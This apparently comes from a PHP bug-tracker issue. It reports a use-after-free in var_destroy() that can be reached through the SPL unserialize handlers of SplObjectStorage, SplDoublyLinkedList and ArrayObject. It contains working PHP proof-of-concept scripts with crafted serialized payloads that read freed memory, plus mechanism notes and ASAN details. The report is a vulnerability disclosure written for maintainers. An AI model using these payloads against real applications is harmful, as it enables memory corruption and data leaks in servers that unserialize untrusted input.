var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481

Summary

Following up on #24481 — the same var_destroy() use-after-free is also reachable through SplObjectStorage::__unserialize(), which creates its own var_hash context via PHP_VAR_UNSERIALIZE_INIT and calls php_var_unserialize() internally (ext/spl/spl_observer.c).

This means the attack surface is broader than the main unserialize() path: any application that unserializes user-controlled data into an SplObjectStorage (not just raw unserialize()) is affected.

Reproducer

<?php
class TriggerUAF {
    public $tag;
    public function __destruct() {
        // Try multiple backref indices to hit freed extension chunks
        foreach ([1024, 1030, 1040, 1100, 1200, 1500] as $idx) {
            $result = @unserialize("R:{$idx};");
            if ($result !== false && $result !== null) {
                fwrite(STDERR, sprintf("  *** [destruct:%s] R:%d → %s (%s) *** UAF_READ\n",
                    $this->tag, $idx, gettype($result), var_export($result, true)));
                return;
            }
        }
        fwrite(STDERR, "  [destruct:{$this->tag}] all R: indices clean\n");
    }
}

// Build SplObjectStorage payload with >1018 entries (overflow VAR_ENTRIES_MAX)
$store = [];
for ($i = 0; $i < 1100; $i++) {
    $store[] = "i:{$i};i:{$i};";
}
for ($j = 0; $j < 5; $j++) {
    $store[] = "i:" . (9000+$j) . ";O:10:\"TriggerUAF\":1:{s:3:\"tag\";s:5:\"obs{$j}\";}";
}
for ($k = 0; $k < 100; $k++) {
    $store[] = "i:" . (20000+$k) . ";i:" . (20000+$k) . ";";
}
$n = count($store);
$payload = 'O:16:"SplObjectStorage":2:{i:0;a:' . $n . ':{' . implode('', $store) . '}i:1;a:0:{}}';
@unserialize($payload);

Output (PHP 8.4.27, stock CLI, non-ASAN)

*** [destruct:] R:1024 → integer (1021) *** UAF_READ

R:1024 resolves to integer(1021) — a value from the freed var_hash extension chunks. In a clean nested unserialize() call, R:1024 should return false.

Verified on

Branch	Result
8.2.35	UAF_READ
8.3.36	UAF_READ
8.4.26 (pre-fix)	UAF_READ
8.4.27 (post-fix)	UAF_READ
8.4.27 + `USE_ZEND_ALLOC=0`	UAF_READ

Deterministic: 3/3 runs on 8.4.27, identical output each time.

Mechanism

unserialize($payload) parses the outer O:16:"SplObjectStorage" tag
Instantiates SplObjectStorage and calls its __unserialize() handler
SPL handler (ext/spl/spl_observer.c:858+) does:
- PHP_VAR_UNSERIALIZE_INIT(var_hash) — creates its own context
- Iterates entries, calling php_var_unserialize() on each (>1018 entries → extension chunks)
- var_push_dtor(&var_hash, entry) for each object
PHP_VAR_UNSERIALIZE_DESTROY(var_hash) → calls var_destroy() on the SPL context
var_destroy() frees the extension chunks
Then fires __destruct on entries in the dtor list — without BG(serialize_lock)
The destructor calls unserialize('R:1024;') which reads from the freed chunks

The root cause is the same as #24481 (the var_destroy() function in var_unserializer.re frees chunks before dispatching destructors without taking BG(serialize_lock)), but the entry point is different: the SPL extension's __unserialize handler creates an independent var_hash context that is also vulnerable.

Also affected (same pattern, same var_hash)

SplDoublyLinkedList::__unserialize() (ext/spl/spl_dllist.c:1070+)
ArrayObject::__unserialize() (ext/spl/spl_array.c:1680+)

These use the same PHP_VAR_UNSERIALIZE_INIT / var_push_dtor / PHP_VAR_UNSERIALIZE_DESTROY pattern. I haven't yet built working reproducers for these (payload format differences), but the code pattern is identical.

Credit

Root cause and main-path PoC: Use-after-free in var_destroy() during unserialize() re-entrancy allows __destruct to read a freed var_entries chunk #24481 (original reporter + jogoossens cross-branch confirmation)
SPL entry-point discovery and reproducer: srayuth089 (this report)

Update: working reproducers for the two remaining siblings

Both SplDoublyLinkedList::__unserialize() and ArrayObject::__unserialize() now have deterministic reproducers — same result as the SplObjectStorage one (R:1024 resolves to a value read from the freed extension chunks), verified on stock CLI of 8.4.27, 8.3.36 and 8.2.35 (3/3 runs each):

*** [dll-obs] R:1024 → integer (1020) *** UAF_READ   ← SplDoublyLinkedList
*** [ao-obs]  R:1024 → integer (1020) *** UAF_READ   ← ArrayObject

Reproducer (shared trigger + the two payload shapes, learned from serialize() of real objects):

<?php
class Trig {
    public $tag;
    public function __destruct() {
        foreach ([1024, 1030, 1040, 1100, 1500] as $idx) {
            $r = @unserialize("R:{$idx};");
            if ($r !== false && $r !== null) {
                fwrite(STDERR, sprintf("  *** [%s] R:%d → %s (%s) *** UAF_READ\n",
                    $this->tag, $idx, gettype($r), var_export($r, true)));
                return;
            }
        }
    }
}
$n = 1100;                       // > VAR_ENTRIES_MAX (1018)
$entries = "";
for ($i = 0; $i < $n - 5; $i++) { $entries .= "i:$i;i:$i;"; }
$tail = 'i:9001;O:4:"Trig":1:{s:3:"tag";s:7:"TAG";}' . "i:9002;i:42;i:9003;i:43;i:9004;i:44;";

// SplDoublyLinkedList — O:19:"SplDoublyLinkedList":3:{i:0;i:0;i:1;a:N:{…};i:2;a:0:{}}
@unserialize('O:19:"SplDoublyLinkedList":3:{i:0;i:0;i:1;a:' . $n . ':{' . $entries . str_replace('TAG', 'dll-obs', $tail) . '}i:2;a:0:{}');

// ArrayObject — O:11:"ArrayObject":4:{i:0;i:0;i:1;a:N:{…};i:2;a:0:{}i:3;N;}
@unserialize('O:11:"ArrayObject":4:{i:0;i:0;i:1;a:' . $n . ':{' . $entries . str_replace('TAG', 'ao-obs', $tail) . '}i:2;a:0:{}i:3;N;}');

The other SPL/internal classes listed in the report that use the same PHP_VAR_UNSERIALIZE_INIT / var_push_dtor / PHP_VAR_UNSERIALIZE_DESTROY pattern in their __unserialize handlers should be considered reachable through the same construction.

Additional entry point: legacy SplObjectStorage::unserialize(string)

I verified that the legacy method also reaches the same var_destroy() UAF, separately from the SplObjectStorage::__unserialize() path in the report. The reproducer calls $storage->unserialize($wire) directly. In PHP 8.4.26 ASAN, the trace is a heap-use-after-free read in php_var_unserialize() (ext/standard/var_unserializer.c:849); the chunk was freed earlier in var_destroy() (:245). The call stack goes through zim_SplObjectStorage_unserialize() (ext/spl/spl_observer.c:1006). The stock CLI reproducer produced UAF_READ R:1024 => object in 3/3 fresh runs on PHP 8.2.35, 8.3.36, and 8.4.27.

Minimal reproducer:

<?php
class Probe {
    public function __wakeup() {
        $GLOBALS['s']->detach($this);
    }

    public function __destruct() {
        foreach ([1024, 1025, 1030, 1040, 1100, 1200, 1500] as $i) {
            $r = @unserialize("R:$i;");
            if ($r !== false && $r !== null) {
                echo "UAF_READ R:$i => ", gettype($r), " ", var_export($r, true), "\n";
                return;
            }
        }
    }
}

$s = new SplObjectStorage;
$GLOBALS['s'] = $s;
$n = 1100;
$wire = "x:i:$n;";
for ($i = 0; $i < $n - 1; $i++) {
    $wire .= 'O:8:"stdClass":0:{};';
}
$wire .= 'O:5:"Probe":0:{};m:a:0:{}';
$s->unserialize($wire);

This is an additional legacy-method entry point to the reported root cause, not a claim of a separate root cause or of RCE. The ASAN stack and complete run output are available if useful.

Additional ASAN confirmation: legacy SplDoublyLinkedList::unserialize(string)

I also reproduced the same UAF through the legacy custom-unserialization method, independently of the SplDoublyLinkedList::__unserialize() payload above. The detector creates a list with 2,000 integer entries, then a tail object whose __wakeup() removes itself from the list; its destructor re-enters unserialize('R:1500;') while the custom var_hash teardown is active.

AddressSanitizer reports heap-use-after-free in php_var_unserialize() on both PHP 8.4.26 (ext/standard/var_unserializer.c:849) and 8.4.27 (:906). The call path goes through SplDoublyLinkedList::unserialize(), and the freed region is the var_entries extension chunk released by var_destroy() before the deferred destructor pass. This confirms the legacy SPL entry point still reaches the same root cause after the 8.4.27 release; it is not a claim of a separate root cause or CVE.

The reproducer and full ASAN logs are available in my local lab if maintainers want them. The test only detects the invalid read; it does not attempt exploitation.

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var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481 #24674

Summary

Reproducer

Output (PHP 8.4.27, stock CLI, non-ASAN)

Verified on

Mechanism

Also affected (same pattern, same var_hash)

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var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481 #24674

Description

Summary

Reproducer

Output (PHP 8.4.27, stock CLI, non-ASAN)

Verified on

Mechanism

Also affected (same pattern, same var_hash)

Credit

Activity

srayuth089 commented on Oct 25, 2026

srayuth089 commented on Oct 25, 2026

srayuth089 commented on Oct 25, 2026

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